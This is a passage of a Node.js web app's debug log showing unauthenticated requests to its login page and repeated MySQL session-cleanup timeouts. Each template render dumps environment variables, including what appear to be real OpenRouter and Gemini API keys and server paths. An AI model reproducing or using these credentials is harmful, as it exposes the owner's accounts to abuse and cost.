    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'upgrade-insecure-requests': '1',
    'sec-fetch-mode': 'cors',
    'x-forwarded-for': '193.149.129.13',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T21:07:57.183Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '193.149.129.13',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_X_FORWARDED-FOR': '193.149.129.13',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T21:41:37.356Z server-connect:router Serving templateView /
2026-04-07T21:41:37.357Z server-connect:app Executing action step identify
2026-04-07T21:41:37.357Z server-connect:app options: { provider: 'security' }
2026-04-07T21:41:37.357Z server-connect:auth No login cookie found
2026-04-07T21:41:37.357Z server-connect:output identity: false
2026-04-07T21:41:37.357Z server-connect:app Executing action step restrict
2026-04-07T21:41:37.357Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T21:41:37.358Z server-connect:output restrict: undefined
2026-04-07T21:48:04.499Z server-connect:router Serving templateView /
2026-04-07T21:48:04.500Z server-connect:app Executing action step identify
2026-04-07T21:48:04.500Z server-connect:app options: { provider: 'security' }
2026-04-07T21:48:04.500Z server-connect:auth No login cookie found
2026-04-07T21:48:04.500Z server-connect:output identity: false
2026-04-07T21:48:04.500Z server-connect:app Executing action step restrict
2026-04-07T21:48:04.500Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T21:48:04.500Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-07 23:43:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-07 23:43:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 01:15:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 01:15:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 04:17:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 04:17:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 04:23:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 04:23:11' as DATETIME)"
}
2026-04-08T06:03:27.485Z server-connect:router Serving templateView /
2026-04-08T06:03:27.486Z server-connect:app Executing action step identify
2026-04-08T06:03:27.486Z server-connect:app options: { provider: 'security' }
2026-04-08T06:03:27.486Z server-connect:auth No login cookie found
2026-04-08T06:03:27.487Z server-connect:output identity: false
2026-04-08T06:03:27.487Z server-connect:app Executing action step restrict
2026-04-08T06:03:27.487Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T06:03:27.487Z server-connect:output restrict: undefined
2026-04-08T06:03:27.648Z server-connect:router Serving templateView /login
2026-04-08T06:03:27.648Z server-connect:app Executing action step identify
2026-04-08T06:03:27.649Z server-connect:app options: { provider: 'security' }
2026-04-08T06:03:27.649Z server-connect:auth No login cookie found
2026-04-08T06:03:27.649Z server-connect:output identity: false
2026-04-08T06:03:27.649Z server-connect:router Render template layouts/authentication
2026-04-08T06:03:27.649Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1',
    'accept-language': 'en-US',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2600:1900:0:4005::1600',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T06:03:27.648Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2600:1900:0:4005::1600',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2600:1900:0:4005::1600',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 07:11:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 07:11:11' as DATETIME)"
}
2026-04-08T07:27:57.165Z server-connect:router Serving templateView /
2026-04-08T07:27:57.166Z server-connect:app Executing action step identify
2026-04-08T07:27:57.166Z server-connect:app options: { provider: 'security' }
2026-04-08T07:27:57.166Z server-connect:auth No login cookie found
2026-04-08T07:27:57.166Z server-connect:output identity: false
2026-04-08T07:27:57.166Z server-connect:app Executing action step restrict
2026-04-08T07:27:57.166Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T07:27:57.167Z server-connect:output restrict: undefined
2026-04-08T07:27:57.578Z server-connect:router Serving templateView /login
2026-04-08T07:27:57.578Z server-connect:app Executing action step identify
2026-04-08T07:27:57.578Z server-connect:app options: { provider: 'security' }
2026-04-08T07:27:57.579Z server-connect:auth No login cookie found
2026-04-08T07:27:57.579Z server-connect:output identity: false
2026-04-08T07:27:57.579Z server-connect:router Render template layouts/authentication
2026-04-08T07:27:57.579Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '136.109.88.216',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T07:27:57.578Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '136.109.88.216',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '136.109.88.216',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T08:30:41.328Z server-connect:router Serving templateView /
2026-04-08T08:30:41.328Z server-connect:app Executing action step identify
2026-04-08T08:30:41.328Z server-connect:app options: { provider: 'security' }
2026-04-08T08:30:41.328Z server-connect:auth No login cookie found
2026-04-08T08:30:41.328Z server-connect:output identity: false
2026-04-08T08:30:41.329Z server-connect:app Executing action step restrict
2026-04-08T08:30:41.329Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T08:30:41.329Z server-connect:output restrict: undefined
2026-04-08T08:30:42.445Z server-connect:router Serving templateView /login
2026-04-08T08:30:42.445Z server-connect:app Executing action step identify
2026-04-08T08:30:42.445Z server-connect:app options: { provider: 'security' }
2026-04-08T08:30:42.445Z server-connect:auth No login cookie found
2026-04-08T08:30:42.445Z server-connect:output identity: false
2026-04-08T08:30:42.445Z server-connect:router Render template layouts/authentication
2026-04-08T08:30:42.446Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '64.226.110.249',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T08:30:42.445Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.226.110.249',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '64.226.110.249',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T09:54:44.436Z server-connect:router Serving templateView /
2026-04-08T09:54:44.438Z server-connect:app Executing action step identify
2026-04-08T09:54:44.438Z server-connect:app options: { provider: 'security' }
2026-04-08T09:54:44.438Z server-connect:auth No login cookie found
2026-04-08T09:54:44.438Z server-connect:output identity: false
2026-04-08T09:54:44.438Z server-connect:app Executing action step restrict
2026-04-08T09:54:44.438Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T09:54:44.439Z server-connect:output restrict: undefined
2026-04-08T09:54:44.701Z server-connect:router Serving templateView /
2026-04-08T09:54:44.702Z server-connect:app Executing action step identify
2026-04-08T09:54:44.702Z server-connect:app options: { provider: 'security' }
2026-04-08T09:54:44.702Z server-connect:auth No login cookie found
2026-04-08T09:54:44.702Z server-connect:output identity: false
2026-04-08T09:54:44.702Z server-connect:app Executing action step restrict
2026-04-08T09:54:44.702Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T09:54:44.702Z server-connect:output restrict: undefined
2026-04-08T10:37:50.614Z server-connect:router Serving templateView /
2026-04-08T10:37:50.615Z server-connect:app Executing action step identify
2026-04-08T10:37:50.615Z server-connect:app options: { provider: 'security' }
2026-04-08T10:37:50.615Z server-connect:auth No login cookie found
2026-04-08T10:37:50.615Z server-connect:output identity: false
2026-04-08T10:37:50.615Z server-connect:app Executing action step restrict
2026-04-08T10:37:50.615Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T10:37:50.616Z server-connect:output restrict: undefined
2026-04-08T10:37:50.652Z server-connect:router Serving templateView /login
2026-04-08T10:37:50.652Z server-connect:app Executing action step identify
2026-04-08T10:37:50.652Z server-connect:app options: { provider: 'security' }
2026-04-08T10:37:50.652Z server-connect:auth No login cookie found
2026-04-08T10:37:50.652Z server-connect:output identity: false
2026-04-08T10:37:50.652Z server-connect:router Render template layouts/authentication
2026-04-08T10:37:50.652Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.190.217.95',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T10:37:50.651Z,
